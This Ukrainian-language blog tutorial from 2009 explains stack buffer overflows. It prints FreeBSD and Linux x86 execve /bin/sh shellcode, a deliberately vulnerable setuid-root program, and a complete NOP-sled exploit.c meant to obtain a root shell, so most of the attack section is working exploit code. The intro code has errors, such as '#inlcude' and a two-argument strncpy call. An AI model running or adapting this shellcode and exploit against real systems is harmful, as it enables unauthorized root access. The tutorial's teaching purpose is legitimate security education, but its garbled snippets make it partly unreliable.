Єдина Країна! Единая Страна!

Переповнення буфера — Buffer overflow

Січень 10th, 2009

Переповнення буфера (англ. buffer overflow або buffer overrun) — аномальної стан, коли процес намагається зберегти дані за межами фіксованої довжини буфера. Результатом є те, що додаткові дані (котрі являють собою різницю між наявними і дозволеними) переписують дані, які зберігаються у прилеглих комірках пам’яті. Переповнені дані можуть включати інші буфери, а це може призвести до незвичної поведінки програми — отримання не вірних даних, і навіть її краху.

Переповнення буфера є однією з вразливостей, які найчастіше використовуються для злому різноманітних систем, оскільки більшість мов програмування високого рівня використовують технологію стекового кадру — розміщення даних в стеку процесу, змішуючи ці програми зі службовими даними (у тому числі з адресами початку стекового кадру і адресами повернення з виконуваної функції).


Найбільше цій вразливості піддане програмне забезпечення, написане на С та С++, оскільки, ці мови не мають вбудованого захисту від доступу або перезапису даних у будь-яку частину пам’яті.

Приклад

Ось приклад коду:

1
2
3
4
5
6
7
8
#inlcude <stdio.h>
 
void main()
{
    char buffer[10];
 
    strncpy(buffer, "hello, world!");
}

Як видно, дані, що копіюються до змінної buffer удвічі перевищують її розмір, у наслідок цього буде перезаписано дані з іншої області пам’яті, в якій може, наприклад, зберігатись значення іншої змінної.

Себто, спосіб роботи функції мови С (як і багатьох інших) такий: при запуску функції програма працює зі змінними за допомогою стеку, зберігаючи їх у стеці, в результаті чого, при виклику функції, програма поміщає змінні оголошені у заголовку функції до стеку, після чого поміщає до стеку адреси тієї області пам’яті, в якій програма знаходиться на даний момент, і переміщується на адресу в пам’яті, де знаходиться функція.

По-перше, я сам не є великим знавецем комп’ютерної інженерії, по-друге, дуже не хтів би ускладнювати це маленьке ЯКЦЕ детальним описом роботи стеку, щоб його могли зрозуміти люди, які не мають великих знань у цій області. Тому намагатимусь бути якомога лаконічнішим. В оперативній пам’яті наш стек зі змінною buffer розміром у 10 байт виглядає приблизно наступним чином:

[BBBBBBBBBB] buffer
[xxxx] sfp
[xxxx] ret

Власне, тут ми маємо змінну buffer розміром у 10 байт (власне, 9 + символ завершення рядка), чотирьох-байтовий Stack Frame Pointer, і чотирьох-байтову адресу повернення (ret).

Коли ми викликаємо функцію strncpy(), для змінної buffer виділяється стековий фрейм, і в поле ret, де міститься адреса повернення у цьому фреймі записуться адрса функції, яка в коді йде одразу ж за функці strncpy().

Наприклад:

1
2
strncpy(buffer, "hello, world!");
printf("string copied.\n");

У даному прикладі, після виклику функції strncmp(), адреса повернення міститиме адреси функції printf(), яка слідує у коді одразу ж за нею. Завдяки цьому, після виконання функції strncpy(), програма знає, що далі слід виконувати функцію printf().

Давайте подумаєте, що буде, якщо ми власноруч змінимо адресу повернення. Замість того, щоб після виконання функції strncpy(), повернутись до коду, і взятись за виконання функції printf(), програма “перестрибне” на місце, вказане нами в адресі повернення. Припустимо, що програма виконується від користувача root (uid 0) і має атрибут +s (setuid). Якщо адреса повернення вказуватиме на shellcode (код, який породжує shell), наш код може отримати root shell. І ось навіщо усе це 😉

Давайте поглянемо на Stack Frame після того, як у змінну buffer було записано 18 байт (нагадаю, її розмір — 10 байт), скажімо, це буде рядок “dddddddddddddddddd”. In this example I will assume we strcpy()’d 18 character ‘d’s into
the buffer.

[dddddddddd] buffer
[dddd] sfp
[dddd] ret

У цьому прикладі адреса повернення — 0x64646464 (0x64 — значення ascii символу ‘d’).

Як бачите, ми можемо встановити будь яку адресу повернення. Це твердження також поширюється на будь які інші дані, що містяться у буфері.

Stack Frame Pointer

Кожна програма має stack pointer, котрий містить адресу початку стеку. Можемо його дізнатись наступним чином:

1
2
3
4
5
6
7
8
9
unsigned long get_stack_pointer(void)
{
    __asm__("movl %esp, %eax");
}
 
void main(void)
{
    printf("0x%x\n", get_stack_pointer());
}

Функція get_stack_pointer() містить асемблерну інструкцію movl, яка копіює значення stack pointer’а до буфера повернення для функції, тож, керування повернеться функції main(). У результаті матимемо:

# ./sp
0xbfbffbc8

Отож, тепер ми знаємо, що наш stack pointer = 0xbfbffbc8. Це означає, що, якщо ми пишемо програму, то усі оголошені нами змінні міститимуться у пам’яті після цієї адреси. Трохи “потрахавшись”, ми можемо знайти адресу буферу в оперативній пам’яті.

Shellcode

Shellcode — “сирий код”, у форматі кодів операцій, який викликає командний процесор (shell). Найпопулярнішим типом shellcode є звичайний виклик /bin/sh за допомогою функції execve(). Про shellcode написано чимало, тому деталізувати не стану, однак, зверну вашу на основні моменти, які ви _зобов’язані_ знати:

  • він не повинен містити символів NULL;
  • він повинен бути якомога меншим;
  • він архітектурно і і ос залежний, тож linux x86 shellcode не працюватиме на freebsd sparc.

    Приклад shellcode:

    1
    2
    
    \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e
    \x89\xe3\x50\x53\x50\x54\x53\xb0\x3b\x50\xcd\x80

    Це shellcode для FreeBSD, який через функцію execve() викликає /bin/sh.

    Можепо протестувати його на наступній програмі:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    
    char bsdshell[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
                      "\x62\x69\x6e\x89\xe3\x50\x53\x50\x54\x53"
                      "\xb0\x3b\x50\xcd\x80";
     
    int main()
    {
        void (*s)() = (void *)bsdshell;   /* створимо функцію, яка є вказівником на код */
        s();
    }

    І перевіримо, чи він працює:

    # gcc shell.c -o shell
    # ./shell
    # exit

    Використання

    Перейдемо до найцікавішої частини — написання експлоїта. Однак, першим ділом напишемо вразливу програму, для якої і писатиме експлоїт.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    
    /* vulnerable.c */
     
    int main(int argc, char *argv[])
    {
        char buffer[500];
     
        if (argc >= 2)
            strcpy(buffer, argv[1]);
     
        return 0;
    }

    Зкомпілюємо, і перевіримо, чи наш код працює:

    # gcc vulnerable.c -o vulnerable
    # chown +x vulnerable
    # chown root vulnerable
    # su
    Password:
    # ./vulnerable hello
    #

    Ну, ніби усе гаразд. Програма приймає параметр, і завершує свою роботу.

    А тепер зробимо так запустимо нашу програму передавши їй в якості параметру стрічку з 501 байту:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    
    /* overflow.c */
     
    void main()
    {
        char buffer[501];
     
        memset(&buffer, 'a', sizeof(buffer));
        execl("./vulnerable", "vulnerable", buffer, 0);
    }

    Зкомпілюємо, і запустимо наш код:

    # gcc overflow.c -o overflow
    # ./overflow
    Bus error.

    Чудово. Ось і маємо програму, яка піддана атаці переповнення буферу. Тепер напишемо експлоїт, який використовуючи дану вразливість, даватиме нам root shell.

    Ми маємо буфер розміром аж у 500 байт, тож нам є де помістити свій shellcode, однак, ми повинні мати можливість перейти до цієї адреси пам’яті, а для цього на тре її знати.

    Пам’ятаєте, перед цим я писав про те, що stack pointer розміщується на початку стеку? Тож, адреса буфера має бути десь невдовзі після нього.

    Але ж звідки ми знаємо, куди ж саме “перестрибувати”? А ми і не знаємо. Однак, ми можемо знайти ту адресу пам’яті, і допоможуть нам у цьому NOP’и.

    NOP — інструкція \x90 машинної мови, яка не робить нічого. Просто в пусту використовує такт процесора. Інколи її використовують для створення пауз під час роботи програми.

    Як вона може стати нам у нагоді? Нам потрібно “перестрибнути” на початок нашого shellcode’у на позицію буфера нашого підданого враженню коду, однак, ми ще не знаємо, де він знаходиться. Але, що, якби перші 200 байт буфера були б NOP’а? Ми змогли б перейти до будь якої позиції у банку NOP’ів і виконання продовжувалося б усього лиш кілька мікросекунд, доки не досягло б нашого шелкоду, який одразу ж буде запущено. Тож, нам достатньо мати лише приблизне уявлення про місцезнаходження буфера, щоб ми могли отримати вказівник на стек, і віднявши від нього 30 чи 40, натрапити на NOP у буфері.

    Тож, нам потрібно створити наш власний буфер у коді експлоїта, розміром у 600 байт. Ми запишемо у нього адресу повернення, щоб переконатись у тім, що наша адреса повернення є останньою у регістрі, який ми хочемо перезаписати. Першу половину буфера ми заповнимо NOP’ами з шелкодом всередині.

    We will take an argument from the command line to specify the offset from the stack pointer. (i.e.
    guess the address of a NOP in the buffer)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    
    /* exploit.c */
     
    #include <stdlib.h>
     
    #define BUFFERSIZE 600  /* vulnerable buffer + 100 bytes */
     
    /* шелкод для freebsd (*bsd?) */
    char bsdshell[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
                      "\x62\x69\x6e\x89\xe3\x50\x53\x50\x54\x53"
                      "\xb0\x3b\x50\xcd\x80";
     
    /* linux x86 shellcode */
    char lunixshell[] = "\xeb\x1d\x5e\x29\xc0\x88\x46\x07\x89\x46\x0c\x89\x76\x08\xb0"
                        "\x0b\x87\xf3\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\x29\xc0\x40\xcd"
                        "\x80\xe8\xde\xff\xff\xff/bin/sh";
     
    unsigned long sp(void)
    {
        __asm__("movl %esp, %eax");
    }
     
    void usage(char *cmd)
    {
        printf("\nusage: %s <offset> <os>\n\n", cmd);
        printf("OS types are:  1. FreeBSD (*bsd?)  2. Linux\n\n");
     
        exit(-1);
    }
     
    int main(int argc, char *argv[])
    {
        int i, offset, os;
        long esp, ret, *addr_ptr;
        char *buffer, *ptr, *osptr;
     
        if (argc < 3)
            usage(argv[0]);   /* quit if they didnt specify an offset */
     
        offset = atoi(argv[1]);  /* get the offset they specified */
        esp = sp();           /* get the stack pointer */
        ret = esp-offset;     /* sp - offset = return address */
        os = atoi(argv[2]);  /* отримати ос*/
     
        if (os < 1 || os > 2)
            usage(argv[0]);
     
        printf("Stack pointer: 0x%x\n", esp);
        printf("          Offset: 0x%x\n", offset);
        printf("   Return addr: 0x%x\n", ret);
     
        /* виділення пам'яті для буфера */
        if (!(buffer = malloc(BUFFERSIZE))) {
            printf("Couldn't allocate memory.\n");
            exit(-1);
        }
     
        /* fill buffer with ret addr's */
        ptr = buffer;
        addr_ptr = (long *)ptr;
        for (i = 0; i < BUFFERSIZE; i += 4)
            *(addr_ptr++) = ret;
     
        /* fill first half of buffer with NOPs */
        for (i = 0; i < BUFFERSIZE/2; i++)
            buffer[i] = '\x90';
     
        /* insert shellcode in the middle */
        if (os == 1) {
            ptr = buffer + ((BUFFERSIZE/2) - (strlen(bsdshell) / 2));
     
            for (i = 0; i < strlen(bsdshell); i++)
                *(ptr++) = bsdshell[i];
        } else {
            ptr = buffer + ((BUFFERSIZE/2) - (strlen(lunixshell)/2));
     
            for(i = 0; i < strlen(lunixshell); i++)
                *(ptr++) = lunixshell[i];
        }
     
        /* call the vulnerable program passing our exploit buffer as the argument */
     
        buffer[BUFFERSIZE-1] = 0;
        execl("./vulnerable", "vulnerable", buffer, 0);
     
        return 0;
    }

    Підсумок

    Даний вид атаки дуже простий в реалізації, оскільки нам необхідно знати лише приблизну адресу до нашого shellcode. У даному випадку програма (exploit) надсилає вразливій програмі рядок, який несе у собі лише адреси повернення і нічого більше. У результаті чого важко промахнутись :). Деякі ж просто передають shellcode разом із рядком вразливій програмі, але я вирішив, що це надмірність і мій приклад буде простішим для розуміння (бо шеллкод можна зберігати і у своїй програмі, в таких розмірах, в яких нам захочеться і не думати про те, чи поміститься шеллкод у пам’яті, де знаходиться адреса повернення).

    Ресурси тенет

  • http://mixter.void.ru/exploit.html
  • http://www.linuxdevcenter.com/lpt/a/6590
  • http://ebook.security-portal.cz/book/basic_overflows/overflows.txt
  • http://shellcode.org/Shellcode/

    Коментарі

    коментарі

    Powered by Facebook Comments

  • Leave a Reply